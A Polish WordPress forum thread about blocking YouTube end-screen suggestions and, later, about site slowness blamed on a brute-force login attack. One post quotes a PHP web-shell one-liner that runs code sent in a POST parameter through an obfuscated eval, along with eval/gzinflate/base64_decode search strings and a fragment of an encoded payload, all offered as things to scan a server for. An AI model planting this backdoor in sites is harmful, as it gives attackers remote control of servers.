wolnemedia

@paweł
Wiem o tym, pisałem, że YouTube to wyłączyło. Ale ten skrypt, który ktoś napisał, DZIAŁA (jak się zatrzyma film, wtedy propozycje i tak są, ale jeśli ktoś dotrwa do końca filmu, to propozycje filmowe ZNIKAJĄ).

Jeśli nie wierzysz, że skrypt działa i NIE POKAZUJE propozycji filmowych na końcu, zerknij na ten test czystego PHP (nie musisz całego filmu oglądać, możesz przesunąć suwakiem prawie do końca):

https://jupi-tupi.pl/1.php

Robiłem kilka testów na różnych szablonach, z wordpressem i bez wordpressu. I takie mam wnioski:

1. Skrypt z pliku php DZIAŁA BEZ PROBLEMÓW.

2. Problemy są jak próbuję to zaimplementować do szablonu wordpressu. Jak użyłem starego szablonu strony, iframe się pokazywało (ale propozycje filmów nadal się pokazały, czyli nie udało mi się zainstalować skryptu jak należy). Jak użyłem nowoczesnych szablonów mobilnych to iframe nie pokazywało się bo wartość wielkości iframe ustawia się automatycznie na 0 (zero).

Wnioski:

Problemy są dwa:

1. Jak sprawić by iframe z tego skryptu pokazywało się w moim szablonie?

2. Jak zaimplementować poprawnie skrypt by współpracował z wordpressem?

Autor skryptu zerknął na kodowanie i twierdzi, że problem bierze się stąd, że WordPress generuje znacznik „p” między „/div” a „script”. Mimo, że w edytorze html (a nie wizualnym) dodaję je tuż obok siebie, Worodpress (lub szablon?) narzuca znacznik „p”.

Oto mail po angielsku z wyjaśnieniem:

„I did take a quick look at your page and it seems your WordPress theme has injected some extra code in between mine. Crucially, the „script” tag is inside a „p” tag, so the script is unable to see the „iframe” tag like it needs to. Check the attached screenshot to see what I mean. To work properly, the „script” tag needs to be right next to the outermost „div” tag in the code (which I have just given the id of „playerWrapOuter” in the latest update to the code in my article). You may need to use the „text” editor rather than the visual editor in WordPress for inserting the code snippet, so that WordPress doesn’t inject any extra HTML tags inside of the snippet. If it still injects those tags even in the WordPress „text” editor, then there must be another method in WordPress that I am unaware of to get it to use the code unaltered.”

Podesłał mi też printscreen z zaznaczonym problemem:

https://zapodaj.net/images/88a5973d7b75e.png

Czy wie ktoś jak ten problem rozwiązać?

PS. A może ktoś mógłby wtyczkę na bazie tego skryptu opracować? Miałaby wielką popularność, bo wszystkie inne wtyczki do usuwania propozycji firmowych YouTube już nie działają.

• Ta odpowiedź została zmodyfikowana 5 years, 4 months temu przez wolnemedia.

Sprawdziłem inne szablony i embed w innej domenie – wszędzie występuje ten problem i nie wiem, czy to wina wordpressu, czy youtube, który mógł wyłączyć działanie opcji rel=0.

• Ta odpowiedź została zmodyfikowana 5 years, 4 months temu przez wolnemedia.

Sprawa została wyjaśniona.

Problem, który obserwują osoby zalogowane na moim portalu, związany z muleniem strony (czyli powolnym działaniem) wywołany jest atakiem brute-force. Atak na portal WM został potwierdzony dzięki wtyczce sucuri monitorującej podobne działania.

Atak polega na próbach masowego logowania się, atakom nie są w stanie zapobiec wtyczki captcha.

Jeśli używacie WordPressu, powinniście zainstalować wtyczkę „Sucuri Security – Auditing, Malware Scanner and Hardening” oraz przeskanować serwer w poszukiwaniu kodów:

?php ($www= $_POST[‚bat’]) && @preg_replace(‚/ad/e’,’@’.str_rot13(‚riny’).'($www)’, ‚add’);?

eval(”
„gzinflate(”
„base64_decode(”

jeśli tymi metodami jest coś zakodowane to według naszego źródła informacji powinno to wyglądać mniej więcej tak:
1X39e9q40ujP3efZ/0H1yVnDlhAgTbcJJWm+
Q5omachX0+
RyjDHgYrDXhpC0p//7nRlJtvwBId3d9753z3MaLI1Go9HXaDQz2lh/t+
H1vF9/Wfr9919/Yb+
zq8YJq/BfVos1epbjsNYjc89amLj06y//WjDGo17TM4KA1Zj2ZtlY7ZQs449Wa/VtaaX0x+
qb1pvXq9bblddvy29fr2jVX39ZMF3H9RH6X+
0OT2lbHWPsjJqGObLdIWTpe7ZjBR+
NoQ7Z7yHbHlo5vbF7tNc83Tw/0Aus2dyrH+
02m3kAwP/ZnRwLRr7nBrmFZmP37HL37It+

Na moim portalu atak raz się nasila, innym razem opada, dlatego strona po zalogowaniu może działać raz szybciej a innym razem wolniej. Nie wiadomo, czy hakerzy przełamali blokadę WM czy nie. Będzie to sprawdzane.

W ubiegłą sobotę zarejestrowano tylko 208 prób logowań do WM (tego dnia strona chodziła błyskawicznie), wczoraj 1543, dzisiaj do 19:00 aż 3794. Ale to niewiele w porównaniu z atakiem z 30 marca i 1 kwietnia. 30 marca było 459 359 prób logowań, a 1 kwietnia 250 667.

Nie wiadomo, kiedy uda się rozwiązać problem, ale sam fakt, że atakowane są strony oparte na WordPressie, powinien zostać nagłośniony, by osoby odpowiedzialne za bezpieczeństwo WordPressu dokonały stosownych poprawek zapobiegającym atakom.

Dodatkowa informacja: nie mamy Apache, lecz ngnxa. W logach ngnxa nic podejrzanego nie ma. Slowlog wykazał tylko to co było wiadome, że kilka skryptów WordPressa długo się wykonuje, jak wspomniany wp-includes/query.php:3603 (i kilka innych), ale to nie tłumaczy samego oczekiwania na zapis w Mysql, lecz długie wczytanie strony (tak myślę).

Problem rozwiązałem, ale nie pamiętam już jak.

Jako, że nie można tu edytować tytułu, a problem jest inny niż sądziłem, zamykam ten temat i otwieram nowy z precyzyjniejszym tytułem.